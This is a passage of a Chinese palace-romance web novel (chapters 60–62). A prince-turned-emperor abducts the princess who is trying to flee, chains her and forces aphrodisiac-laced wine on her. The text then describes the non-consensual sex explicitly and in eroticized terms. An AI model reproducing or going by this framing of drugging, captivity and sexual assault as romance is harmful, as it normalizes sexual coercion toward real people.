姜稚月叹了口气,起身走到冯叶华身边,第一次不加掩饰地与她对视。 须臾,倒是冯叶华心虚地先一步移开了视线。 姜稚月提了提唇角,语气淡淡的: “我是说,我会离开,宋国,本不就是我的故土。” 冯叶华来找姜稚月闹完的第二日,宋砚辞人就出现了。 彼时姜稚月正在收拾自己的首饰。 宋砚辞站在门口,目光追着她的动作看了会儿。 “昨日,她来找你了?” 他已经近四个月未踏足过临安殿,如今甫一出现,第一句话问的却是冯叶华。 姜稚月听着那个熟稔的“她”字,动作一顿,淡淡“嗯”了一声,“来过。” 第60章 第60章“封妃”二字,仿若一道…… 宋硯辭走过来握住她的手臂,逼她看向自己: “她的那些话,你莫要当真,你……” “殿下。” 姜稚月无奈,拂开他的手: “我当不当真又有何区别,终归你是答应要送我回姜国的不是吗?” 宋硯辭察觉出她语气里的冷意,几不可察地蹙了蹙眉。 他用手按压了一下额角,语气里突然多了分疲倦。 “阿月,送你回去这件事,我们从长计议可好?既宣现在还小,离不开娘亲……” “可他再大点呢?你是否又会说他正在学走路、学说话、学认字,离不开娘亲?” 姜稚月躲开他来拉她的手,转头冷淡道: “殿下回吧,我倦了要歇息。” 明亮的日光透过乳白色纱窗透进殿中,四下如笼了一层碎金色的輕纱,博山炉中青烟袅袅,在金色的空气中晃荡出细小的颗粒。 宋硯辭冷白的手上青筋鼓了鼓,在虚空中缓缓蜷起收了回来。 宋硯辭走后,錦葵端着一碗酥酪走进来,回头看了眼男人消失在垂花门后的背影,不解道: “殿下怎么才待了这么一会儿便走了?” 姜稚月低头不语,只捣鼓自己首饰的动作不由加重了几分。 錦葵奇怪地看了她一眼,走过去帮忙: “奴婢来吧,公主喝点儿小厨房新炖的酥酪。” 姜稚月嗯了一声,又捡了几件儿喜欢的东西装进盒子里,便走到一旁捧起碗,有些心不在焉地搅动碗中的勺子。 方才宋砚辞一靠进来,她就闻到了。 闻到了他身上有股淡淡的兰花香。 而那种特殊的兰花香味,她昨日在馮叶华的身上闻到过相同的味道。 姜稚月放下勺子,看了眼宋砚辞曾经睡过的软榻。 ——所以他这是已经做出选择了么。 后来的半个多月,宋砚辞又来过两次,但都被姜稚月不冷不热地给挡了回去。 这日晚间,姜稚月刚刚擦洗了身子睡下,朦朦胧胧间感觉身旁床畔一陷,一具滾烫的身躯贴了上来。 姜稚月闻着他身上的兰花香,身子一僵,拼命推拒他的怀抱。 “阿月……” 宋砚辞沙哑的嗓音在黑夜中沉沉的。 他輕輕在她脑袋上安抚似的摸了摸,语气近乎卑微地哄道: “别动,让我抱一会儿,就一会儿好不好?” 他的语气听起来十分疲惫。 姜稚月的动作一顿,下意识抬头去看他。 月色深濃,房间里如同笼罩着一层暗灰色的薄雾,她有些看不清他的神色,只能看到他疲惫紧闭的双眸。 她抿了抿唇,犹豫地问道: “你……怎么了?可是遇到麻烦了?” 姜稚月说完,许久未等到宋砚辞的回答,忍不住又抬头看了他一眼。 男人的手背搭在眼睛上,胸腔有节奏地起起伏伏,气息平稳,看起来像是已经睡着了的样子。 她撇了撇嘴,正想悄悄往远离他的地方挪一挪。 忽见男人骨廓分明的喉结上下滾了滚,语调中濃重的沙哑在黑夜里晕开。 他只低低地,近乎喟叹地唤了声: “阿月。” 姜稚月身子一僵,所有动作都静止了一般,全神贯注想要听他接下来的话。 然而宋砚辞在低喃出“阿月”两个字后,便再未多说任何一个字。 姜稚月原本以为,被宋砚辞抱在怀中自己很难睡着。 没想到躺着躺着,竟也有了睡意。 只不过自己这段时间在月子中,睡眠一向浅,浮梦沉沉浮浮,总是睡得不太踏实。 不知过了多久,身边一阵极轻的响动将她从浅眠的梦中唤醒过来。 姜稚月动了动发酸的脖子,往身旁瞧去,只隐隐看到宋砚辞走出去的背影。 鬼使神差的,姜稚月悄悄起身跟了出去。 就在接近门口的地方,她听见门外传来常乐刻意压低的声音: “殿下,三日后的登基大典已经筹備完成,夫人……夫人的封妃仪制和吉服等,也已经准備妥当。” 姜稚月心中“咯噔”一下,不由凑近了小半步。 就听宋砚辞淡淡“嗯”了一声,须臾,他沉声吩咐: “阿月爱漂亮,嘱咐礼部将冠服再准备得精致些,雖只是暂时封妃,一起要按照皇后的规制来。” “封妃”二字,仿若一道惊雷,冲着姜稚月的脑袋就劈了下来。 劈得她头晕目眩。 姜稚月惊得瞪大眼睛,手指抠住门框,浓重的寒意自脊背快速蔓延,冷得她牙齿和指尖都不住打颤。 还来不及细想,门外的脚步声倏然动了起来,朝着她这边的方向过来。 姜稚月倒提一口气,飞快跑回去钻进被子里。 宋砚辞的脚步声很快停在了床边,却又没有立即上来。 灼热的视线停留在她的背上,姜稚月忍不住捏紧了被角,只觉得自己心口像是正被人用一把刀抵着。 仿佛过了很漫长,身后的男人才再度有了动静。 鞋面在地上踢踏了两声,床褥凹陷,宋砚辞帶着微微凉意的身躯靠了过来。 他揽住她的腰,手在被中精准地握住她的手。 “怎么这么凉?” 滚烫的气息落在耳廓,姜稚月身子一僵,随即像是刚被吵醒一般,揉了揉眼睛,语气嘟囔道: “有点儿冷——” 她纠结了一瞬,回身主动抱住宋砚辞的腰,往他怀中蹭了蹭,语气似梦魇似撒娇: “你抱抱我,就不冷了。” 胸前男人坚实的胸膛颤了几下,低低的笑声自他的胸腔中溢出。 他抚了抚她的后背,手掌上的力道和温度不轻不重地透过薄薄的寝衣渗透进来。 “阿月好乖。” 男人嗓音帶着沙哑的 笑意,听在姜稚月耳中,颇有几分意味深长的感觉。 她心里一凛,心跳不由快了几分。 直到第二日宋砚辞离开之后,姜稚月动了动僵硬的身体,才发现浑身酸疼。 她匆匆唤来锦葵和琉璃,二话不说一人塞给她们一个包裹: “快收拾,我们这两日便离开,越快越好。” 说着,她的动作一顿: “你们先收拾,我去瞧瞧宣哥儿。” 摇床上的小肉团子还在睡着,肉嘟嘟的小脸上红红的小嘴撅着,不时嘬上几下。 也不知是不是他突然梦到了什么,忽然扯着唇角笑了起来,小手在空气中像小猫一样胡乱抓握了几下,看起来可爱极了。 姜稚月给他伸出一根手指,小手很快便抓住了。 打从宋既宣一出生,就被乳娘抱走了,她也刻意让自己尽量少来看他。 再加之她生产完太医院就给她端了碗回奶汤,其实除了生产那日的痛,她并没有多少生过孩子的感觉。 所以此刻乍然见到这个小东西,姜稚月的眼中全是好奇和不可思议。 这小东西真是她能生出来的? 小家伙似乎在回应她的猜想,砸了砸嘴,拉过她的手指就往嘴里塞。 柔软的唇裹上来吸了吸,似乎没有吸到自己想要的,嘴一瘪哇的一声哭了出来。 “呀!别哭!你别哭呀!” 姜稚月从未哄过孩子,看见他哭自己比他还慌。 好在乳娘及时赶了过来,笑着安慰她: “夫人别急,小主子就是饿了,待奴婢带他下去吃些奶再带过来可好?” 姜稚月起身,悄悄把被他吃湿的手在身后擦了擦,看了眼奶娘怀中正扯着嗓子号啕大哭的小崽子,有些尴尬地摇了摇头: “不用了,你尽管带下去吧,我就回去了。” 乳娘应了声是。 出了房间,姜稚月长舒一口气。 恰好锦葵也找了过来,说是东西都已经收拾好了。 姜稚月点点头,看了看天色,估摸着这个时辰宋砚辞应当还在前殿议事,低声吩咐锦葵: “我去走走,你别跟来,若是他来了,替我打发了。” 锦葵:“……好。” 姜稚月一路沿着小径往花园深处走去。 草木葳蕤,将她的身形掩盖在郁郁葱葱的花木中央。 她一面走,一面蹙眉低头思考。 宋砚辞倘若当真要封她为妃,定是不会让她出去的,说不准此刻在她身边那些看不见的地方,都有他派来的人跟着。 那么她该如何出宫? 称病? 踏青? 还是假意想让他带她出去逛街? 不管是什么借口,在这个节骨眼儿上,以宋砚辞的心眼儿,定然不会同意。 姜稚月长叹一口气,脚底下踢开一颗小石子。 石子滚过青石板,发出不轻不重的声音。 旋即,花园深处的亭中发出一声瓷器相撞的声音,紧接着一道女子的声音短促地娇呼出声。 姜稚月脚步一顿,朝声音发出的地方看去。 馮叶华? 她怎么在这? 馮叶华几乎在同一时间,也看到了被花木包围的姜稚月。 她的脸上先是浮现出一抹慌乱,下意识将自己手中的酒壶和杯盏往身后藏了藏,随即清了清嗓子,站直身子,高声道: “你、你来做什么?” 姜稚月往她身后那酒壶上看了一眼,心里倏地闪过一个念头。 她轻笑一声,脚步故意放慢往馮叶华跟前走去。 “冯姑娘这话说得好笑,这路又不是你家开的,我为何不能来?” 冯叶华被她一噎,面色不豫地瞪了她一眼,端起手中的托盘就打算从她身边绕过去。 “我还有事,不与你在这里多费口舌。” “慢着!” 姜稚月厉声高喝,伸出手臂拦住了冯叶华的去路。 她本就出身皇室,即便很少摆威风,但看着太子哥哥和宫中其他嫔妃摆架子,学也都学会了。 而冯叶华,雖说是国公府嫡孙女,但在宋砚辞回宋国前,安国公府早已不复从前的声望,甚至因为十数年前府中曾与芸夫人有过瓜葛,而被大皇子逐渐架空过。 这一声“慢着”姜稚月用了十成十的凌厉和威仪,倒是当真把冯叶华给虎住了。 冯叶华身子一抖,托盘中的酒壶眼瞅着又要倾倒。 姜稚月眼疾手快,赶在冯叶华扶之前一把夺了过来。 她瞧了眼冯叶华骤然生变的脸色,毫不犹豫地将酒壶的塞子拔开。 “啵”的一声,随着一阵浓郁的酒香飘散四周,姜稚月还闻到了另一种味道。 “你还给我!” 冯叶华猛地冲过来就要抢她手里的酒壶。 姜稚月一个闪身躲过去,同时将酒壶放在鼻尖一闻。 “好啊冯叶华!” 她冷笑一声,晃了晃手中的酒壶,“你胆子倒是够大的!” 姜稚月从小在宫中长大,虽说宫中许多事情都会避讳着她,但总有那么一两件腌臜事她见过、听过、闻过。 对于那些下三滥的手段,她不说多熟悉,但此刻闻到那酒壶中的味道,联系冯叶华的反应,她也能才道个七七八八。 冯叶华这是打算将自己的名声豁出去了。【你现在阅读的是魔蝎小说 moxiexs】 60-70 第61章 第61章“宋砚辞你疯…… 冯葉华见事情败露,也不隐瞒,挺了挺脊背,干脆利落承認: “是,我是想下药,那又如何?即便我再用这种下三滥的手段,也好过你对陛下那种上不得台面的勾引!” 姜稚月冷嗤一声。 宋硯辭这段时间四处奔忙,能够顺利登基,要么是已经同意让国公府的姑娘坐上皇后之位,要么就是已经扫清了所有障碍。 而如今,这冯葉华这般孤注一掷,答案显而易见就是后者。 她不过也是狗急跳墙了而已,现在还能这般冠冕堂皇地来指责她,足以可见她的心理素质和脸皮厚度。 冯葉华瞧出她眼神中的不屑和讽刺,感觉受到了奇耻大辱,上前抢夺下姜稚月手中的酒壶,恼羞成怒道: “你少在这假清高!倘若你真这么不屑,你就应该趁早出宫!而不是待着宫里和陛下不清不楚!你那天不是还说你要回姜国么?怎么?这么多天没动静,不舍得了?” “随你怎么想。” 姜稚月懒得同她掰扯,撫了撫鬓边微微晃动的流苏輕描淡写道: “我困了,要回去午休了。” “……” 眼瞧着姜稚月就这般回去了,冯葉华眼中满是诧异,不相信她能就这样輕易放过她? 她趁着姜稚月还未走出两步,一个箭步过去拉住人的手腕: “你等等!” 姜稚月忍不住勾了勾唇角,回头时又是一副蹙眉的模样: “冯姑娘怎的就这般纠缠不休?你有这功夫不是应该去缠太子么?” 冯叶华狐疑地看了她一眼,又将那酒壶在她眼前晃了晃: “你当真……不打算将此事捅到太子跟前?” 别是她又憋着什么坏,人前一套背后一套。 “捅啊。” 姜稚月的语气稀松平常: “待会儿我就去找宋硯辭,将你打算给他下药一事说出去!反正他那么喜欢我,不会不信,到时我再让她严惩于你……” “你!” 冯叶华被她气得脸颊涨红:“你敢!” 姜稚月耸了耸肩,清凌凌的眼中难得有了一丝从前昭华公主的狡黠: “看呐,我说我会告诉宋硯辭,你又不信,我说我不告诉她,你也不信,那你让我怎么办?” 冯叶华被她问得哑口无言,半晌,将信将疑地再次确認: “你当真不会说出去?” “嗯。” 冯叶华仔细盯着她的神色研究半晌,觉得她不似作假,更何况即便不信她,她也拿她毫无办法。 “现在我可以走了?” 姜稚月挑了挑眉,语气认真了些: “你放心,我不会告诉他,因为过了今晚,冯姑娘会玉成自己的好事,而你我,此后怕是再也不会再见了。” 姜稚月的话让冯叶华眉心猛地一跳,她像是猛然想明白了什么,猝然抬头。 却只瞧见姜稚月娉娉袅袅的背影,在一丛葳蕤的牡丹丛后渐行渐远。 冯叶华快步追上去两步,冲着她的背影喊: “我知道你的意思了,倘若你真能按你所说,今夜我也会尽力成全你的事!” 姜稚月出了花园的垂花门,确定冯叶华看不见自己后,提着裙摆,深吸一口气就往回跑。 锦葵见她气喘吁吁地跑进来,还以为出了什么事呢,扶过她正想开口去问,姜稚月就气息不稳地出 了声: “快、快收拾东西,叫上琉璃,我们今晚走。” 即便这临安宫四处都是宋硯辭的人,但姜稚月也有太子哥哥留给她的二十暗卫。 旁的不行,但想趁着登基大典前夕宋砚辞最忙的时候,神不知鬼不觉地偷溜出宫倒不是不可能。 锦葵一听姜稚月的话,不由也跟着紧张了起来。 她匆匆跑到门边往门口瞧了一番,确认隔墙无耳,旋即将门紧紧阖上,进了里间,将床腳的一个箱笼打开。 “公主,东西都收拾好了,稍等我便跟暗卫大哥联系……公主?公主?!” 姜稚月也不知在想什么,锦葵叫了两声才回过神来: “什么?” 锦葵瞧了她一眼,把刚才的话重复了一遍。 姜稚月颔首:“好。” 锦葵瞧着她魂不守舍的样子,犹豫片刻,还是没忍住,开口问道: “公主可是舍不得小公子?” 姜稚月放在膝上的手微微攥紧,提了提唇角: “没有,过两日登基大殿,宋砚辞会宣布将宣哥儿过继给他,如此,他就是大宋国的皇长子,想必今后必不会太过艰难。” 她这话也不知是说给锦葵听的,还是说给自己听的。 早春的天黑得早,酉时一过,天色便已昏沉沉得暗了下来。 姜稚月强忍住想要去隔壁看一眼儿子的冲动,忐忑地坐在内室,等着天色彻底黑下来。 不知过了多久,门口不輕不重传来一声布谷鸟的叫声,姜稚月紧张得“噌”的一下从榻上站了起来。 “锦葵!” 锦葵也应声进来,压低声音道: “公主,是太子殿下的暗卫,咱们可以走了,琉璃方才已经先跟着采买的队伍混出宫了。” 姜稚月紧张得咽了咽口水,不知为何,心里总有种不踏实的感觉。 她抿着唇攥了锦葵一把:“走。” 主仆二人拖着两个小包袱,在黑暗中悄无声息地从临安宫的侧门出来。 没走多久,眼前便是一座拱桥,过了拱桥再穿过一间废弃的宫殿,便能到皇宫的西南角门,那里有人接应。 这些是锦葵下午给姜稚月讲的。 眼下到了拱桥,姜稚月不由紧张起来。 这里地势空旷,极易被人发现,是后面这些路程里最难走得一段。 她拉着锦葵,四下里瞧了瞧,见四周无人,提了一口气飞快从拱桥上蹿过。 下来后,姜稚月抚了抚急速跳动的胸口,和锦葵相视一笑,朝着宫殿飞快行去。 快到宫殿的时候,她的腳步都輕快了不少。 这座宫殿位于皇宫的西南角,是前朝的冷宫。 后来废弃后,便一直无人修缮过。 路过门口的时候,姜稚月好奇看了一眼,透过敞开的门缝,她居然看见里面隐隐发出光亮。 她的头皮瞬间一麻。 “怎么了公主?” 姜稚月摇摇头,疑心是自己看错了,毕竟眼下月色正好,说不定是哪里的反光也不一定。 她捏了捏锦葵的手,正要说一句“快走”,忽然,身后一阵冷风呼啸而过,紧接着,她的眼前一黑,整个人便被人抬了起来。 “唔!” 那人点了她的穴道,她只来得及发出这么一声短促的声音,便再说不出话来。 身下剧烈颠簸,她被人抗在肩上狂奔。 没走多远,一声开门的吱呀声响起,紧接着她身子一轻,便被扔在了柔软的床褥上,那人低低道了声“主子,人帶到了。” 姜稚月心里又惊又怕,等了半天也没等到另一个人的声音。 此处偏僻,而宋砚辞今夜定然是和冯叶华在一起,那到底是谁将她掳了过来? 她哥哥的人呢?锦葵呢? 这人掳她要来干什么?用她威胁宋砚辞么? 那宣哥儿会不会有危险?! 正当她胡思乱想的时候,忽然听见一阵低锵的腳步声朝床边靠近过来。 那脚步声听上去分外闲懒,仿佛一头从未挨过饿的狼王,慢条斯理地近乎玩弄地靠近自己的猎物。 那一声声脚步声,仿佛踩在了姜稚月的心上,窒息的紧张感将她紧紧包围。 男人的脚步声停在她身前,姜稚月的呼吸几乎停滞。 一道滚烫的视线居高临下落在她身上,即便姜稚月看不见,也能感受到那道近乎将她灼烧的视线緩慢地在她身上逡巡。 良久,身前人弯下了身子,独属于男人的气息靠近,微凉的指腹落在她的耳垂上,轻轻捻了捻。 细小的触感因为看不见而被无限放大。 姜稚月陡然一抖,耳朵的红立刻蔓延到了脖颈。 她呜呜地挣扎了两下。 下一刻,男人的指腹便落在了她颈侧的衣襟上,她挣扎的动作又瞬间僵住。 温凉的指腹如同蛇信一般,緩慢地钻入衣襟里侧,薄薄的指甲压着她脖子上拼命跳动的脉搏,一点一点挑开了她的衣领。 冷风瞬间灌了进来,姜稚月死死咬着唇,身子随着他指腹一下一下的触碰而止不住颤栗。 男人的动作很慢,帶着亵//玩的乐趣。 他轻轻地挑开她的腰帶,褪下她的裙衫。 少女的身子一阵阵颤栗,被綢缎遮住的眼尾处泅出一片深色的水渍。 床前男人的视线在她水红色牡丹綢缎肚兜上看了两眼,口中不耐地“啧”了声,俯下身来緩缓吻上了她眼尾的那处湿濡。 姜稚月浑身一颤,身子抖得更厉害,细小的呜咽从喉咙中溢出。 男人轻笑了声,在她耳畔疑惑道: “明明是你要跑,怎的现在倒反过来哭上了?” 在听到宋砚辞声音的一瞬间,姜稚月的心里百感交集,一时竟不知自己是该庆幸,还是该害怕。 随即,宋砚辞的动作告诉了她答案。 他一路沿着她的眼尾向下吮吻,刻意避开她的唇,顺着她白皙微仰的脖颈,一路来到那片水红色的柔软绸缎上。 宋砚辞低低的笑声透着愉悦: “药喝了这么久,可有效果?嗯?” 他轻而易举便扯开了系带。 “让孤检查检查,孤太医院的太医,开的药效果可好。” 轻微的痛感让姜稚月忍不住闷呼出声。 可她浑身毫无一丝力气挣扎,犹如砧板上任人磋磨的鱼肉,苦苦忍耐。 须臾,他直起身似报复般在她腰间重重一掐,重新来到她的耳畔,低低笑道: “甜的。” 男人的低低的带着磁性的沙哑,随着滚烫的气息落在她耳廓。 原本姜稚月的神思早已神游天外,对于他无故说出的这两个字还有些疑惑。 然而在听见他下一句话的时候,那带着笑和戏谑的声音,就如同点燃干柴的烈火,一瞬间让姜稚月几乎羞愤欲死,身上的肌肤都泛了红。 她听见他在她耳畔喟叹道: “只是可惜了,这么甜美的佳酿,宣哥儿却无福消受。” 说完,他不等她反应,轻笑一声,重新起身。 身旁没了男人滚烫的压迫,姜稚月一口憋着的气才缓缓回了过来。 她的眼睛还被覆着。 黑暗像是深不见底的大海,未知的恐惧如狂风巨浪,一下下随着她剧烈的心跳声拍来。 须臾,她听见一声铁链撞击的声音,还不待反应,她的手腕和脚腕就被裹上了金属冰凉的质感。 她疯了般挣扎,可看在宋砚辞眼中,却娇弱得像是欲拒还迎一般。 宋砚辞双手环胸立在床前,静静欣赏了半天他的“杰作”,随后嗤笑一声,解开她眼上绸缎的同时,将她 的穴道也顺手解了。 甫一见到光明,姜稚月微微眯了下眼。 待眼睛适应了眼前的光线,她的视线慢慢落在宋砚辞身上,却在看清他手中东西的时候,猛地瞪大眼睛,向后瑟缩了一下。 她一动,铁链声随即响了起来,姜稚月捏紧掌心: “你放开我!” 宋砚辞不置可否地挑了下眉梢,晃了晃手中的酒壶: “阿月可曾认得这是什么?” “不认识。” 姜稚月咬唇瞥过脸去。 此刻的她狼狈至极,浑身上下没有一丝遮挡不说,原本属于宣哥儿的口粮像是突然找到了突破口,不停往出冒。 拉出一道白色的水线。 少女白皙的肌肤上满是红印,纤细脆弱的手腕和脚腕上,金灿灿的链子箍着她的四肢,眼尾的红可怜得令人忍不住想要摧残。 “是么?那不如喝一杯如何?” 宋砚辞眯了眯眼,说出的话依然带着笑意,然而神情却骤然冷了下来,眸中似不断翻涌着墨色的浪潮。 他掐着她的下颌,在她的唇上重重碾磨了一下。 然后直起身子,眼神一瞬不瞬地盯着她的神色,缓缓倒了杯酒出来。 姜稚月瑟缩着朝后躲去。 下一瞬,男人却倾身凑过来,扯着金链子毫不怜香惜玉地一把将她扯回了身前。 在她的惊呼声中,宋砚辞冷白修长的手指触上她娇嫩的肌肤。 姜稚月下意识一抖,就见他手指轻勾,漫不经心地刮过那道白色的线,指腹聚出一点,当着她的面,不紧不慢地涂抹在了杯口。 姜稚月脚趾瞬间蜷起,热意在体内窜起。 她重重吞咽了一下,眼底蓄满的泪水盈盈可怜地落了下来: “执玉哥哥……” 她泪眼婆娑地求他,却不知这番模样却更令男人发狂。 宋砚辞轻轻摩挲了一下酒杯的边沿,压着眼皮看她,眼底没有一丝恻隐, 良久,他才漫不经心地“嗯”了一声,俯下身: “怎么了?” 男人口中呼出的气息带着一股甜腥,姜稚月的身子一僵,所有准备说出口的乞求全都卡在了喉咙,化成了羞赧和恐惧。 宋砚辞等了半天,见身前的姑娘不语,掐着她的下巴迫她高高将头仰起。 姜稚月浑身都在止不住发抖,身上红得娇嫩。 她死死咬住唇,就在她以为,他要强迫自己喝下那杯下了春//药的酒时。 却见宋砚辞将沾着乳白的酒杯边沿贴在自己弯起的薄唇边,盯着她的眼睛,一点一点,闲适而放肆地将那杯酒灌进了自己喉咙。 姜稚月的头皮瞬间发麻,恐惧刹那间占据了所有思绪。 “宋砚辞你疯了!” 第62章 第62章“上了锁,从外面。”…… 这一刻,姜稚月才真真实实感覺到了恐惧。 “别看了。” 宋硯辭轻笑,捏着酒杯的手随意往门口一指: “上了锁,从外面。” 这六个字犹如当头一棒,砸得姜稚月几欲昏厥。 男人嗤笑一声,重新倒了杯酒,含在口中,攥住姜稚月的后脖颈,在她剧烈的掙扎中猛地吻了上来。 香甜的酒液被迫渡了过去,他掐着她的脸颊,虎口微挑。 “不要……唔……不……” 尽管姜稚月极力推拒,那酒液还是顺着喉咙滑进了胃里。 宋硯辭接着去吻她,舌强势地**她的喉咙深处,涎液被他肆无忌惮地亵//玩,攫取,近乎淫。//靡的水泽声从两人交缠的唇齿间溢出。 姜稚月被顶得呼吸困难,想要说的话也尽数变成了流淌不尽的涎液。 她恐惧地呜咽着,血液里突然流淌的燥热让玉润的脸颊烧紅了起来。 手掌下的身子越来越软,肌肤越来越滾烫,男人呼吸粗重,眸底黯色幽沉得骇人。 过了许久,在她终于憋不住几乎要窒息过去的时候,宋硯辭才松开了她。 他盯着她,唇角微勾,呼吸急促。 看着少女脸上也不知是被憋紅的,还是喝了那酒后染上的情//欲的紅,还有那双水雾朦胧的迷离眼,他忍不住轻笑出声。 宋硯辭的喉结上下一遍遍滑滾着,从身旁拿出一个紫檀木描金匣子。 “阿月……” 他薄薄的眼皮下压,盯着她,眼尾緩慢地晕出一抹紅,当着她的面不疾不徐地打开了那匣子: “瞧瞧这是什么?” 姜稚月的喘息还未平息,极度的缺氧让她思绪迟钝。 过了须臾,她才怔怔回神,透过水雾朦胧的眼看清男人手中的东西。 她的瞳孔骤缩,身子猛地一颤,带动铁链叮鈴作响。 宋砚辞笑着将羊眼圈拿出来,故意用修长的手指从中间勾过去,面上几分夸张的疑惑,故意问: “那日那老板给我的,我却不知是何作用,阿月,你可能告诉我,这东西怎么用的?” 姜稚月一看见那东西,双腿就止不住发软。 她死死咬住下唇,不出声。 宋砚辞察覺出她眼中的警惕,神色黯了下来,喉间滚动的冷笑异常瘆人: “怎么?你和宋知凌用的时候就是快活,到了我这就成了戒备?!” “宋砚辞!!你放我走!!” 此刻药效已经緩慢生效,姜稚月感觉到了热,从心口延伸出来的热意,那道乳白色更多了。 宋砚辞的脸上也染了一抹艳色。 不过他的眼底却万分清明,甚至还带着几分漫不经心的戏谑。 “阿月——” 他温润的笑意下透着危险: “你明知这酒里有什么,却为了逃走,故意让冯叶华接近我。” 宋砚辞的语气沉了下去,额角青筋暴跳了几下,终是没忍住,掐住了姜稚月的脖子,在她惊叫前再度堵住了她的唇。 她的呼吸尽数被他吞没,豆大的淚珠无措地滚落,艳绯色的软糯唇瓣更是被男人粗暴地恣意含吸着。 宋砚辞的手严丝合缝地游走在她玲珑温热的嬌躯上,不落一寸地重重摩挲着。 “呜呜……” 两人交缠的唇齿间满是迷乱的水泽声,在姜稚月绝望的掙扎中,他的吻渐渐大力了起来,蛮狠得近乎可怕,攻城略地在她口中搅弄、占//领。 没有一丝怜惜。 姜稚月被他吮得吃痛,几乎瘫软在他身下,发麻的舌根只呜咽了几声,呼吸急促得似要断掉,颤巍巍地仰着头破碎呜咽。 宋砚辞抬头看她。 少女出水芙蓉般白净的小脸上绯红一片,灿若春华,无助的双眸中泛着一股嬌怜妩媚的盈盈水光,让人催生出极致的摧毁欲望。 钳着她脖颈的男人,晦黯的眸光却越加平静冷漠。 宋砚辞胸膛起伏,薄唇噙着一抹愉悦的弧度,眼底渐渐溢出阴鸷,一瞬不瞬地看着哭泣的她,俯身温柔地抚摸着她眼角的淚。 “知道我要做什么吗?” 男人沉冷的声线充满磁性,凝视着她的目光仿若能将人焚烧了一般,手上动作未停,轻而易举便解了自己的衣裳。 地上凌乱的衣裳堆叠,姜稚月惊恐得瞪大双眸,连呼吸都险些忘记了。 对上他晦涩幽深的目光,她才猛地一个惊颤,呜咽着挣扎起来。 宋砚辞冷嗤一声,随手一扯,姜稚月被他扯到胸前桎梏着,白皙细嫩的皓腕上便立时多了一道勒出的红痕来。 “看着我,唤我!” 姜稚月张了张嘴,还未说出半个字,药效突然猛烈袭来,她瞬间僵住了动作。 汹涌的热浪,钻心蚀骨的麻痒,在疯狂流动的血液中燃烧。 少女挣扎推拒的声音从口中溢出时,转瞬间变成了啜泣嘤咛。 到底是受不住那药效了,姜稚月水雾迷蒙的双眸含着几分娇媚,无助地看着宋砚辞。 她的反应似乎取悦了宋砚辞不少。 他眼底的阴鸷渐渐收敛了起来,取而代之的是玩味的戏谑。 “求我,唤我的名字,我就给你。” 其实他的药效要在体内翻涌,异常的红浮现在白皙精壮的胸膛上。 但宋砚辞越是难忍,便越发觉得忍得快活,说出的话都在忍不住因兴奋而声线不稳。 “呜… …” 姜稚月微微颤着,软嫩的娇躯泛着莹白透撤的玉色,急促的呼吸间不知是害怕还是难受。 许是药效加速,莹润白皙中又多了一抹淡淡的绯色,颤栗着,细细薄薄的一层香汗在线条优美的锁骨上凝聚滑落。 须臾,她无助地瞧着他,无助的哭腔颤巍巍地唤他: “执玉哥哥……” 这一声执玉哥哥唤出口,热浪的空气都像是被引爆了一般。 宋砚辞眸色猛地一沉,手底下不知拿了什么,只听有什么鈴铛响了几声,继而变成了闷闷的颤音。 姜稚月猛地一僵,哭红着眼看他,眸中满是乞求的意味。 她想要挣扎,想要尖叫,最终却都抵不过宋砚辞灌的那杯酒。 宋砚辞眯了眯眸,緩缓俯下身,吮吻她的耳廓,呼吸滚烫。 他的语气中带了几分极致克制隐忍的意味,咬牙切齿道: “阿月,本想与你慢慢来的,你却用冯叶华来逼我……” 姜稚月额间的汗浸湿了碎发,紧绷着呼吸,死死咬着牙关。 他只重重将那铃铛一撞,便停下来,居高临下地看着她。 那铃铛剧烈的嗡鸣声被包裹着变成了闷响,却转而以另一种更为强势的颤的方式爆发出来。 姜稚月刹那间便绷紧了脚踝,死死咬住的唇角还是没忍住,喉间的呜咽和着嗡鸣溢出脆弱的娇哼。 宋砚辞眼底瞬间泛了红,额角青筋忍到爆炸。 他盯着她看了须臾,凝视着她脸上的神情,再不给她一丝喘息的机会,薄唇反复吮吻着她的香汗。 姜稚月凄凄的声音顷刻卡在了喉中。 光影憧憧,明明灭灭,春夜里潮湿的空气滚烫。 窗外不知何时下起了雨,疾风骤雨一下一下拍打在窗棂上。 荒废许久的冷宫,这一夜在疾风暴雨中,重新亮了一夜的灯。 姜稚月是在第二日下午醒来的,睁眼时,眼前一片光影绰绰,她的视线迷茫了好一阵才看清晰。 待瞧见坐在床畔的那道明黄色身影时,她猛地一颤,心中本能地升起浓浓的恐惧,下意识惊呼了一声。 这一动,她才看清,自己的双手和双脚还被那金链子锁着。 她略一蹙眉看他: “你……” 只说了一个字,她又不知该如何说下去了。 昨夜的那些记忆反复翻涌而来。 起初她还能勉强说出拒绝的话,但那冯叶华的药却是烈药,后面她与他如何缠在一起,如今想来,竟忍不住徒生羞赧。 可这羞赧之下,姜稚月的心中又忍不住泛上了一丝难过。 宋砚辞静静坐在床边,瞧着她神情的变化,心中早就知她所想。 他闷笑一声,抬手想要在她发顶摸了摸: “可是饿了?” 姜稚月下意识一躲,宋砚辞的手便落了空。 他唇角缓缓落了下来,收回手,盯着她。 床边男人一身明黄色龙袍,金冠束发,面容清隽中透着一抹端正的威仪,神情平静地睨着她。 浑身上下自有种矜贵和高高在上的雍容,只除了颈侧那两道细小的抓痕,向她赤//裸//裸展示着昨夜她后来的溃不成军。 像是一种对她矜持和抗拒的无声羞辱。 反观她,被褥下未着寸缕的肌肤几乎没有一处好的,发丝凌乱,眼尾嫣红,白色的印子还在缓慢往出渗,要多狼狈有多狼狈。 “放我走。” 姜稚月吞咽了几下,娇稚得嗓音泛着哑,盈满泪花的眼里是又恨又怒,许是气急了,才刚说完,眼眶一红,委屈的眼泪就顺着眼角流了下来。 从前姜稚月只要一流泪,宋砚辞总是怜惜地温声安慰他。 可这次,他仅仅只是盯着她瞧了半晌,眼中没有半丝从前的心疼和怜香惜玉。 忽而眯着眸,嗤笑出声: “阿月,我只当你没说过,你乖乖待在我身边,锦葵和琉璃,我都已经命人安顿好了。” 他这话让姜稚月的心中一惊,柳眉无意识地蹙在了一起。 “宋砚辞,你卑鄙!” 宋砚辞的喉咙里溢出一丝轻笑,扣着她的下颌,拇指在红肿的唇上重重按压了几下: “我是卑鄙,阿月,那天夜里我说的话,你其实都听见了吧?” 姜稚月猛地一僵,不可置信地抬头看他,却又在想起那夜他那意味深长的笑声时,陡然回过了神。 “所以你一早就知道我要逃?!” 宋砚辞唇角轻勾,不置可否地挑了挑眉。 一股寒意自姜稚月的脊柱陡然升起。 